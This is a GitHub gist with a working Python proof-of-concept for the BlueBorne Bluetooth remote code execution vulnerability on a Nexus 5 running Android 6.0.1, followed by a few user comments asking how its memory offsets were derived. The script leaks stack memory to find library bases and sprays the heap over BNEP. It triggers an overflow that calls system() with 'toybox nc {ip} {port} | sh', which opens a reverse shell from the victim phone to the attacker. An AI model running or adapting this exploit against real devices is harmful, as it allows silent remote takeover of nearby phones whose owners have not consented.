Skip to content

Instantly share code, notes, and snippets.

@jesux
Created November 3, 2017 10:14
Show Gist options
  • Save jesux/64cf037c55c0d42196762c0ccacc7380 to your computer and use it in GitHub Desktop.
Save jesux/64cf037c55c0d42196762c0ccacc7380 to your computer and use it in GitHub Desktop.
Blueborne RCE PoC - Nexus5 6.0.1
import os
import sys
import time
import struct
import select
import binascii
import bluetooth
from bluetooth import _bluetooth as bt
import bluedroid
import connectback
from pwn import log
# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235
# Exploit offsets work for these (exact) libs:
# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26 /system/lib/hw/bluetooth.default.so
# bullhead:/ # sha1sum /system/lib/libc.so
# 0b5396cd15a60b4076dacced9df773f75482f537 /system/lib/libc.so
# For Pixel 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1
# Nexus 5 6.0.1
LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 + 1 # system + 1
LIBC_SOME_BLX_OFFSET = 0x5825b
# For Nexus 5X 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1
# Aligned to 4 inside the name on the bss (same for both supported phones)
#BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
#BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244
# Nexus 5 6.0.1
BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x144d80
MAX_BT_NAME = 0xf5
# Payload details (attacker IP should be accessible over the internet for the victim phone)
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'
PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 1
LEAK_ATTEMPTS = 1
def set_bt_name(payload, src_hci, src, dst):
# Create raw HCI sock to set our BT name
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
flt = bt.hci_filter_new()
bt.hci_filter_all_ptypes(flt)
bt.hci_filter_all_events(flt)
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
raw_sock.close()
#time.sleep(1)
time.sleep(0.1)
# Connect to BNEP to "refresh" the name (does auth)
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
bnep.close()
# Close ACL connection
os.system('hcitool dc %s' % (dst,))
#time.sleep(1)
def set_rand_bdaddr(src_hci):
addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
# NOTW: works only with CSR bluetooth adapters!
os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
(src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
final_addr = ':'.join(addr)
log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
#time.sleep(1)
while bt.hci_devid(final_addr) < 0:
time.sleep(0.1)
return final_addr
def memory_leak_get_bases(src, src_hci, dst):
prog = log.progress('Doing stack memeory leak...')
# Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
result = bluedroid.do_sdp_info_leak(dst, src)
#print("Leak: %s" % result) # Debug, show leak array
# Calculate according to known libc.so and bluetooth.default.so binaries
#likely_some_libc_blx_offset = result[-3][-2]
#likely_some_bluetooth_default_global_var_offset = result[6][0]
# Nexus 5 6.0.1
likely_some_libc_blx_offset = result[6][1]
likely_some_bluetooth_default_global_var_offset = result[10][7]
# Show leak address
log.info("LIBC 0x%08x" % likely_some_libc_blx_offset)
log.info("BT 0x%08x" % likely_some_bluetooth_default_global_var_offset)
libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET
log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))
# Close SDP ACL connection
os.system('hcitool dc %s' % (dst,))
time.sleep(0.1)
prog.success()
return libc_text_base, bluetooth_default_bss_base
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
# Gen new BDADDR, so that the new BT name will be cached
src = set_rand_bdaddr(src_hci)
# Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
# 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
# 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
#payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'
# x -> payload address (name has 4 bytes of padding)
x = acl_name_addr+4
shell_addr = x+24 # SHELL SCRIPT address
ptr0 = x+16 -4 # points to ptr0+4 (ptr1)
ptr1 = x+8 -8 # points to ptr1+8 (ptr2)
ptr2 = x+20 -28 # points to ptr2+28 (system_addr)
#payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
payload = 'A'+ struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT)
log.info("shelladdr 0x%08x" % shell_addr)
log.info("ptr0 0x%08x" % ptr0)
log.info("ptr1 0x%08x" % ptr1)
log.info("ptr2 0x%08x" % ptr2)
log.info("system 0x%08x" % system_addr)
log.info("PAYLOAD %s" % payload)
assert len(payload) < MAX_BT_NAME
assert b'\x00' not in payload
# Puts payload into a known bss location (once we create a BNEP connection).
set_bt_name(payload, src_hci, src, dst)
prog = log.progress('Connecting to BNEP again')
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
prog.success()
prog = log.progress('Pwning...')
# Each of these messages causes BNEP code to send 100 "command not understood" responses.
# This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
# These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
# Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
for i in range(20):
bnep.send(binascii.unhexlify('8109' + '800109' * 100))
# Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
# This is highly likely to fully overflow over instances of "list_node_t" which is exactly
# 8 bytes long (and is *constantly* used/allocated/freed on the heap).
# Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
# under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
for i in range(1000):
# If we're blocking here, the daemon has crashed
_, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
if not writeable:
break
bnep.send(binascii.unhexlify('810100') +
struct.pack('<II', 0, ptr0))
else:
log.info("Looks like it didn't crash. Possibly worked")
prog.success()
def main(src_hci, dst, my_ip):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))
sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)
for i in range(PWN_ATTEMPTS):
log.info('Pwn attempt %d:' % (i,))
# Create a new BDADDR
src = set_rand_bdaddr(src_hci)
#set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search
# Try to leak section bases
for j in range(LEAK_ATTEMPTS):
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
break
else:
assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"
system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
assert acl_name_addr % 4 == 0
log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))
pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
# Check if we got a connectback
readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
if readable:
log.info('Done')
break
else:
assert False, "Pwning failed all attempts"
connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)
if __name__ == '__main__':
main(*sys.argv[1:])
@sergeyzapor
Copy link

sergeyzapor commented Feb 7, 2018

@danielwangksu Can you describe in details how you found 0xb3a9b31f?

@marcinguy
Copy link

Here is my experience exploiting BlueBorne on unpatched Android 7.1.2 - https://github.com/marcinguy/android712-blueborne/blob/master/README.md

@wartek69
Copy link

anyone found the way on how to calculate BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c ?

@P3BTBB
Copy link

P3BTBB commented May 2, 2018

i got the hexdump from peda-arm, but i can't tell how BSS_ACL_REMOTE_NAME_OFFSET is calculated... i hope, that anyone can help and explain, how to calculate BSS_ACL_REMOTE_NAME_OFFSET !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment